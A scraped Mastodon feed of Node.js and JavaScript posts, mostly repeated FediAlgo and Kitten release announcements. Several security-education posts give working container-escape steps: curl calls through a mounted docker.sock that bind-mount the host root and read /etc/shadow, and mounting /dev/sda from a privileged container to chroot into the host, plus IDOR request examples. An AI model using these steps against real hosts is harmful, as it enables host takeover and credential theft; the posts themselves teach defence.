ALT text detailsscreenshot of fedialgo demo app
ReynardSec's avatar
ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.

ItSec (walking by): Guys... a quick test. From inside that container, run:

curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 

If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...

devops0: So what? What does it mean?

Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:

# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04

If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:

# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root

# apt update && apt install -y curl

curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'

# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start

From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:

# Read /etc/shadow of Docker Host using only curl, step 1:

curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'

# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'

Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).

And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.

[1] docs.docker.com/reference/cli/
[2] docs.docker.com/engine/api/

Other grumpy stories:
1) infosec.exchange/@reynardsec/1
2) infosec.exchange/@reynardsec/1
3) infosec.exchange/@reynardsec/1

grumpy cat
ALT text detailsgrumpy cat
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New version (v1.1.0) of , the customizable timeline algorithm / filtering system for your Mastodon feed, has a toggle switch to allow or disallow the selection of more than one filter option for when you're checking out your favourite hashtags.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo multiselect for hashtag filters
ALT text detailsscreenshot of fedialgo multiselect for hashtag filters
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
New version (v1.1.0) of , the customizable timeline algorithm / filtering system for your Mastodon feed, has a toggle switch to allow or disallow the selection of more than one filter option for when you're checking out your favourite hashtags.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo multiselect for hashtag filters
ALT text detailsscreenshot of fedialgo multiselect for hashtag filters
ReynardSec's avatar
ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

dev0: Big news - we finally upgraded every framework to the latest.
dev1: And the pipeline looks good: SAST, container scan, DAST... all green.
dev0: ItSec won't have anything to nitpick now!

ItSec (walking by): ... and BAC?
dev0: BAC?
ItSec: Broken Access Control [1]. Did you actually test for it?

dev1: What's he on about this time?

Let's learn by example: imagine an endpoint that returns a specific invoice.

GET /api/invoices/123
Authorization: Bearer <token-for-user-A>

User A legitimately fetches invoice 123. Now change only the ID:

GET /api/invoices/124
Authorization: Bearer <token-for-user-A>

If the app returns 200 with User B's data, you've got Broken Access Control (aka IDOR).

Even worse, try a write operation:

PATCH /api/invoices/124
Authorization: Bearer <token-for-user-A>

{"status": "paid"}

If that works... it's a problem.

Access control enforces who can do what on which resource. When it's broken, attackers can act outside their permissions: read others data, modify or delete it, or trigger business functions they shouldn't. In practice, this often comes from missing server-side checks that tie the caller to the resource owner (or an allowed role).

Why your shiny scanners may have missed it:

1) SAST sees code patterns, not ownership semantics (it can't deduce "invoice 124 belongs to User B").
2) DAST usually crawls with one session; it rarely performs cross-identity trials (User A poking at User B's data).
3) CI/CD "green checks" mean dependencies, images, and common vulns look fine - not that your authorization logic is correct.

What can you do?

1) Enforce checks on the server (never rely on the client): before every read/update/delete, verify the caller is the owner or has a permitted role.
2) Centralize authorization in a service/middleware.
3) Prefer opaque, unguessable IDs (UUIDs) over sequential integers, but still enforce server checks (UUIDs are not security).
4) Deny by default. Make allow-lists explicit.

[1] owasp.org/Top10/A01_2021-Broke

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

The new integrated Markdown parser I’ve been implementing in Kitten has been kicking my ass for the past few weeks but I think I finally have it fully working and seamlessly so. Expect a new release this/next week that brings the parsing of Markdown pages (.page.md files) in your apps up to the standard of the recently-improved runtime Markdown parsing in Kitten HTML tagged-template strings (within `<markdown>…</markdown>` blocks).

The coolest thing is I was able to implement this without introducing any new syntax. In fact, I was able to simplify things so that you can now add arbitrary JavaScript to your Markdown pages within a multi-line script block in the YAML front matter (`script: |`) and use JavaScript string interpolation syntax in your Markdown (and, of course, Kitten components and conditionals, which, themselves, rely on string interpolation).

The only place where you have to deviate from standard Markdown in your Markdown pages is if you have JavaScript string interpolations or Kitten components/conditionals in code fences within your Markdown. In that case, you’ll have to escape them (e.g., `<\${Component} />`, `\<if \${something}>something\</if>`, etc.). And, to be fair, the person most impacted by this is likely me as the Kitten documentation at kitten.small-web.org is written in Kitten so I had a lot of escaping to do. But for any other use case, it means that things should just work and work exactly as they do in JavaScript pages (page.js files).

Anyway, so this is going to be a breaking change so I thought I’d give you (the three of you playing with Kitten right now?) a heads up. Of course, I’ll be updating the documentation to reflect all this.

(Remember, Kitten is in pre-release and it’s the framework I’m building/using to create Catalyst – the Small Web hosting solution – and Yarn – a small web – peer to peer – personal site app. So Kitten isn’t the means, not the end. And, at least until the Version 1 API freeze, things can and will break. That said, there’s nothing stopping you from playing with it now and, to be fair, at this point, such breaking changes should become rarer and rarer).

:kitten:💕

Aral Balkan's avatar
Aral Balkan

@aral@mastodon.ar.al

The new integrated Markdown parser I’ve been implementing in Kitten has been kicking my ass for the past few weeks but I think I finally have it fully working and seamlessly so. Expect a new release this/next week that brings the parsing of Markdown pages (.page.md files) in your apps up to the standard of the recently-improved runtime Markdown parsing in Kitten HTML tagged-template strings (within `<markdown>…</markdown>` blocks).

The coolest thing is I was able to implement this without introducing any new syntax. In fact, I was able to simplify things so that you can now add arbitrary JavaScript to your Markdown pages within a multi-line script block in the YAML front matter (`script: |`) and use JavaScript string interpolation syntax in your Markdown (and, of course, Kitten components and conditionals, which, themselves, rely on string interpolation).

The only place where you have to deviate from standard Markdown in your Markdown pages is if you have JavaScript string interpolations or Kitten components/conditionals in code fences within your Markdown. In that case, you’ll have to escape them (e.g., `<\${Component} />`, `\<if \${something}>something\</if>`, etc.). And, to be fair, the person most impacted by this is likely me as the Kitten documentation at kitten.small-web.org is written in Kitten so I had a lot of escaping to do. But for any other use case, it means that things should just work and work exactly as they do in JavaScript pages (page.js files).

Anyway, so this is going to be a breaking change so I thought I’d give you (the three of you playing with Kitten right now?) a heads up. Of course, I’ll be updating the documentation to reflect all this.

(Remember, Kitten is in pre-release and it’s the framework I’m building/using to create Catalyst – the Small Web hosting solution – and Yarn – a small web – peer to peer – personal site app. So Kitten isn’t the means, not the end. And, at least until the Version 1 API freeze, things can and will break. That said, there’s nothing stopping you from playing with it now and, to be fair, at this point, such breaking changes should become rarer and rarer).

:kitten:💕

Shini92 :ablobblewobble:'s avatar
Shini92 :ablobblewobble:

@Shini92@mas.to

I'm working on a in plain 👀
Not published yet, put maybe I will fight as a competitor 🤔

This is already working AND fully written in with decorator proposal

What do you think?

```ts
const cats: Cat[] = [
  new Cat({ id: "1aefd497-bb47-47e3-b160-cb69c5ba0ff4", name: "Kami", age: 4 }),
];

@Path("/cats")
export class CatController {
  @Get
  @Path("/")
  public list(): Cat[] {
    return cats;
  }

  @Get
  @Path("/:id")
  public getById(@PathVariable() id: UUID): Cat | null {
    return cats.find((cat) => cat.id === id) ?? null;
  }

  @Post
  @Path("/")
  public create(@RequestBody(Cat) cat: Cat): Cat {
    cat.id = randomUUID();
    cats.push(cat);
    return cat;
  }

  @Put
  @Path("/:id")
  public update(@PathVariable() id: UUID, @RequestBody(Cat) cat: Cat): Cat {
    const index = cats.findIndex((c) => c.id === id);
    if (index === -1) {
      throw new NotFoundResponseError("Cat not found");
    }
    cats[index] = cat;
    return cat;
  }

  @Delete
  @Path("/:id")
  public delete(@PathVariable() id: UUID): void {
    const index = cats.findIndex((c) => c.id === id);
    if (index === -1) {
      throw new NotFoundResponseError("Cat not found");
    }
    cats.splice(index, 1);
  }
}
```
ALT text details```ts const cats: Cat[] = [ new Cat({ id: "1aefd497-bb47-47e3-b160-cb69c5ba0ff4", name: "Kami", age: 4 }), ]; @Path("/cats") export class CatController { @Get @Path("/") public list(): Cat[] { return cats; } @Get @Path("/:id") public getById(@PathVariable() id: UUID): Cat | null { return cats.find((cat) => cat.id === id) ?? null; } @Post @Path("/") public create(@RequestBody(Cat) cat: Cat): Cat { cat.id = randomUUID(); cats.push(cat); return cat; } @Put @Path("/:id") public update(@PathVariable() id: UUID, @RequestBody(Cat) cat: Cat): Cat { const index = cats.findIndex((c) => c.id === id); if (index === -1) { throw new NotFoundResponseError("Cat not found"); } cats[index] = cat; return cat; } @Delete @Path("/:id") public delete(@PathVariable() id: UUID): void { const index = cats.findIndex((c) => c.id === id); if (index === -1) { throw new NotFoundResponseError("Cat not found"); } cats.splice(index, 1); } } ```
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Released version 1.0.3 of , the customizable timeline algorithm / filtering system for your Mastodon feed. Incredibly minor bugfix release.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Released version 1.0.3 of , the customizable timeline algorithm / filtering system for your Mastodon feed. Incredibly minor bugfix release.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
Alex0007's avatar
Alex0007

@Alex0007@mastodon.social

habr.com/ru/articles/933702/

Inautilo's avatar
Inautilo

@inautilo@mastodon.social


JavaScript’s runtime decade · Running JavaScript beyond the browser and Node.js ilo.im/165oqw

_____

Inautilo's avatar
Inautilo

@inautilo@mastodon.social


JavaScript’s runtime decade · Running JavaScript beyond the browser and Node.js ilo.im/165oqw

_____

ReynardSec's avatar
ReynardSec

@reynardsec@infosec.exchange

A grumpy ItSec guy walks through the office when he overhears an exchange of words.

Dev0: Hey, this isn't working, I hate containers...
Dev1: Maybe just add the --privileged flag!

ItSec: Just… no. Simply no. No privileged mode - the grumpy fellow interjects as he walks away.

Dev0: Jesus, fine - no privileged mode.
Dev1: Okay, but… why?

Here's why (one, simple example): 

Docker's --privileged flag lifts almost all restrictions from your container - exactly the opposite of --cap-drop=ALL. Let's demo the difference. 

1) Start two containers.

docker run -itd --privileged --name ubuntu-privileged ubuntu
docker run -itd --name ubuntu-unprivileged ubuntu

2) Inspect /dev in the unprivileged container.

docker exec -it ubuntu-unprivileged bash
ls /dev
exit

You'll only see a limited set of devices. No disk access. 

3) Now inspect /dev in the privileged container.

docker exec -it ubuntu-privileged bash
ls /dev

/dev/sda exposed! Sometimes you may see /dev/mapper when LVM is in place. Then "apt update && apt install -y lvm2" and "lvscan" may help during next phase.

4) Exploitation part (inside the privileged container) - simply mount /dev/sda to any writable path in container.

mkdir /tmp/whatever
mount /dev/sda1 /tmp/whatever

5) You can now enumerate - and access - the Docker host's logical volume.

ls -la /tmp/whatever

6) If you wish, you can even chroot into the host:

chroot /tmp/whatever /bin/bash

The moral of the story is to avoid privileged mode, because in the event of an incident (e.g. an attacker compromising an app running inside a container), you significantly increase the likelihood of successful lateral movement from the container to the Docker host - and from there into the rest of your infrastructure.

Usually the grumpy guy means well. He just doesn't know how to explain it properly.

Greg Slepak's avatar
Greg Slepak

@taoeffect@crib.social

#JavaScript developers: do not use `npx`, ever.

Use @deno_land's `deno run` instead with appropriate sandboxing flags.

Example: https://github.com/okTurtles/chel/pull/58/files

#nodejs #npx #infosec #security
Greg Slepak's avatar
Greg Slepak

@taoeffect@crib.social

#JavaScript developers: do not use `npx`, ever.

Use @deno_land's `deno run` instead with appropriate sandboxing flags.

Example: https://github.com/okTurtles/chel/pull/58/files

#nodejs #npx #infosec #security
Greg Slepak's avatar
Greg Slepak

@taoeffect@crib.social

#JavaScript developers: do not use `npx`, ever.

Use @deno_land's `deno run` instead with appropriate sandboxing flags.

Example: https://github.com/okTurtles/chel/pull/58/files

#nodejs #npx #infosec #security
Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

socket.dev/blog/contagious-int

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 New research: North Korea’s Contagious Interview campaign is back, with 67 new malicious npm packages, a new malware loader (XORIndex), and 17K+ downloads.

Details, IOCs, and full package list →

socket.dev/blog/contagious-int

maybeanerd's avatar
maybeanerd

@maybeanerd@bumscode.com

Interesting talk on multithreading in by @mcollina at

I might need to give piscina a shot 🤔

Picture of Matteo on Stage, in front of a slide with the text 
"Node.js : More Threads Than You Think"
ALT text detailsPicture of Matteo on Stage, in front of a slide with the text "Node.js : More Threads Than You Think"
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest version of , the customizable timeline algorithm / filtering system for your Mastodon feed, allows for the use of multiple accounts on multiple Mastodon servers. Also fixes some interoperability issues.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo in action
ALT text detailsscreenshot of fedialgo in action
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest version of , the customizable timeline algorithm / filtering system for your Mastodon feed, allows for the use of multiple accounts on multiple Mastodon servers. Also fixes some interoperability issues.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo in action
ALT text detailsscreenshot of fedialgo in action
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest version of , the customizable timeline algorithm / filtering system for your Mastodon feed, allows for the use of multiple accounts on multiple Mastodon servers. Also fixes some interoperability issues.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo in action
ALT text detailsscreenshot of fedialgo in action
Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

So recently the @nodejs project posted an article seeking LGBTQIA+ stories from people who use or have contributed to Node.js, I shared the link last week.

Anyway, I decided to submit a story of how Node.js and tech in general was a lifeline for me as a teenager, in a world where I didn't quite fit in, and how I came to realise I was trans.

Many thanks to them for providing this opportunity!

nodejs.org/en/blog/community/2

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

So recently the @nodejs project posted an article seeking LGBTQIA+ stories from people who use or have contributed to Node.js, I shared the link last week.

Anyway, I decided to submit a story of how Node.js and tech in general was a lifeline for me as a teenager, in a world where I didn't quite fit in, and how I came to realise I was trans.

Many thanks to them for providing this opportunity!

nodejs.org/en/blog/community/2

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Well, that was a fun error: went to install a node.js project, which depended on sqlite, and it failed because Python 3.13 no longer has distutils in it, and you instead need to do:

pip install --upgrade setuptools

To get the distutils package.

This happened because the Node.js module for sqlite uses node-gyp for building, which depends on distutils.

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Well, that was a fun error: went to install a node.js project, which depended on sqlite, and it failed because Python 3.13 no longer has distutils in it, and you instead need to do:

pip install --upgrade setuptools

To get the distutils package.

This happened because the Node.js module for sqlite uses node-gyp for building, which depends on distutils.

Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Well, that was a fun error: went to install a node.js project, which depended on sqlite, and it failed because Python 3.13 no longer has distutils in it, and you instead need to do:

pip install --upgrade setuptools

To get the distutils package.

This happened because the Node.js module for sqlite uses node-gyp for building, which depends on distutils.

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

Over the weekend, Node.js quietly added a homepage button linking to paid third-party support for EOL versions.
This controversial move sparked pushback and now the TSC is weighing next steps.

Full story → socket.dev/blog/node-js-homepa

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest release of , the customizable timeline algorithm / filtering system for your Mastodon feed, lets you blur / hide images marked as sensitive / , which solves the "unwanted dick pics in your feed" issue that can come up when users of one of the more "risque" fediverse servers manage to make one of their favourite hashtags trend.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo showing an image post from the mastobate.social server has been blurred out
ALT text detailsscreenshot of fedialgo showing an image post from the mastobate.social server has been blurred out
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Latest release of , the customizable timeline algorithm / filtering system for your Mastodon feed, lets you blur / hide images marked as sensitive / , which solves the "unwanted dick pics in your feed" issue that can come up when users of one of the more "risque" fediverse servers manage to make one of their favourite hashtags trend.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo showing an image post from the mastobate.social server has been blurred out
ALT text detailsscreenshot of fedialgo showing an image post from the mastobate.social server has been blurred out
Socket's avatar
Socket

@SocketSecurity@fosstodon.org

Over the weekend, Node.js quietly added a homepage button linking to paid third-party support for EOL versions.
This controversial move sparked pushback and now the TSC is weighing next steps.

Full story → socket.dev/blog/node-js-homepa

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
new release of , the customizable timeline algorithm / filtering system for your Mastodon feed, counts the number of times each hashtag appears in your timeline even if people don't use a "#" character to give you a better sense of what people are talking about in the Fediverse.

there's a little bit of art vs. science here because some strings are disqualified from this kind of counting (e.g. a word like "the" should not be counted even if some maniac decided to make it a hashtag) so let me know if you see any weirdly high counts.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo hashtag filters
ALT text detailsscreenshot of fedialgo hashtag filters
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
new release of , the customizable timeline algorithm / filtering system for your Mastodon feed, counts the number of times each hashtag appears in your timeline even if people don't use a "#" character to give you a better sense of what people are talking about in the Fediverse.

there's a little bit of art vs. science here because some strings are disqualified from this kind of counting (e.g. a word like "the" should not be counted even if some maniac decided to make it a hashtag) so let me know if you see any weirdly high counts.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo hashtag filters
ALT text detailsscreenshot of fedialgo hashtag filters
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
new release of , the customizable timeline algorithm / filtering system for your Mastodon feed, counts the number of times each hashtag appears in your timeline even if people don't use a "#" character to give you a better sense of what people are talking about in the Fediverse.

there's a little bit of art vs. science here because some strings are disqualified from this kind of counting (e.g. a word like "the" should not be counted even if some maniac decided to make it a hashtag) so let me know if you see any weirdly high counts.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo hashtag filters
ALT text detailsscreenshot of fedialgo hashtag filters
JB Lièvremont's avatar
JB Lièvremont

@mithfindel@mastodon.social

Or donc,

Idéalement, où mes 20+ années d'expérience dans "la tech" au sens large pourraient bénéficier à l', l', la .

Il y a peu de domaines de la tech qui me font peur. J'ai fait du front, du back, de l'embarqué, du desktop, de l'intégration.

Je connais très bien l'écosystème , un peu moins et - et j'apprends vite.

Je me reconnais à 100% dans cette description des "généralistes experts" : martinfowler.com/articles/expe

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Just pushed a new release of to production. Now sprinkles the latest posts from your homeserver into your feed, caches more stuff for performance reasons, fully supports blocked domains, and some other stuff.

universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Just pushed a new release of to production. Now sprinkles the latest posts from your homeserver into your feed, caches more stuff for performance reasons, fully supports blocked domains, and some other stuff.

universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, is now deployed on Github Pages and can be used from your web browser.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Just pushed a new release of to production. Now sprinkles the latest posts from your homeserver into your feed, caches more stuff for performance reasons, fully supports blocked domains, and some other stuff.

universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
Just pushed a new release of to production. Now sprinkles the latest posts from your homeserver into your feed, caches more stuff for performance reasons, fully supports blocked domains, and some other stuff.

universeodon.com/@cryptadamist

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

will now let you filter your feed by the server your timeline toots are originating from. You can also choose whether to color highlight hashtags you've participated in or favourited and some other fun stuff.

* Try it w/your browser: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

will now let you filter your feed by the server your timeline toots are originating from. You can also choose whether to color highlight hashtags you've participated in or favourited and some other fun stuff.

* Try it w/your browser: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Stop Losing Sleep Over Node.js Config: Here's How to Get It Right — Unpacking Config & Environment Variables in Node.js

blog.platformatic.dev/stop-los

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, now has a "TOTAL CHAOS" preset for when you're really feeling like mixing up your timeline in addition to a way to weight toots based on the author's follower count, highlighting of hashtags based on how much you use or interact with them, and a bunch of other fund stuff.

* Try It: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo with TOTAL CHAOS preset chosen
ALT text detailsscreenshot of fedialgo with TOTAL CHAOS preset chosen
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, now has a "TOTAL CHAOS" preset for when you're really feeling like mixing up your timeline in addition to a way to weight toots based on the author's follower count, highlighting of hashtags based on how much you use or interact with them, and a bunch of other fund stuff.

* Try It: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo with TOTAL CHAOS preset chosen
ALT text detailsscreenshot of fedialgo with TOTAL CHAOS preset chosen
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
, the customizable timeline algorithm / filtering system for your Mastodon feed, now has a "TOTAL CHAOS" preset for when you're really feeling like mixing up your timeline in addition to a way to weight toots based on the author's follower count, highlighting of hashtags based on how much you use or interact with them, and a bunch of other fund stuff.

* Try It: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo with TOTAL CHAOS preset chosen
ALT text detailsscreenshot of fedialgo with TOTAL CHAOS preset chosen
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
The new version of is much, much faster at loading and reordering the timeline. Also has fancy gradients to show you which hashtags in your feed are the ones trending the most and which ones you post about the most. Also a bunch of other tweaks and improvements.

* Try the demo: michelcrypt4d4mus.github.io/fe
* Video of it in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

Screenshot of Fedialgo demo
ALT text detailsScreenshot of Fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
The new version of is much, much faster at loading and reordering the timeline. Also has fancy gradients to show you which hashtags in your feed are the ones trending the most and which ones you post about the most. Also a bunch of other tweaks and improvements.

* Try the demo: michelcrypt4d4mus.github.io/fe
* Video of it in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

Screenshot of Fedialgo demo
ALT text detailsScreenshot of Fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
The new version of is much, much faster at loading and reordering the timeline. Also has fancy gradients to show you which hashtags in your feed are the ones trending the most and which ones you post about the most. Also a bunch of other tweaks and improvements.

* Try the demo: michelcrypt4d4mus.github.io/fe
* Video of it in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

Screenshot of Fedialgo demo
ALT text detailsScreenshot of Fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
The new version of is much, much faster at loading and reordering the timeline. Also has fancy gradients to show you which hashtags in your feed are the ones trending the most and which ones you post about the most. Also a bunch of other tweaks and improvements.

* Try the demo: michelcrypt4d4mus.github.io/fe
* Video of it in action: universeodon.com/@cryptadamist
* Release notes: github.com/michelcrypt4d4mus/f

Screenshot of Fedialgo demo
ALT text detailsScreenshot of Fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
You can now send replies to Toots as well as expand threads directly within the demo app, no need to click through to the regular Mastodon web interface.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action: universeodon.com/@cryptadamist

screenshot of fedialgo showing threaded feature in background and reply box in foreground
ALT text detailsscreenshot of fedialgo showing threaded feature in background and reply box in foreground
⚯ Michel de Cryptadamus ⚯'s avatar
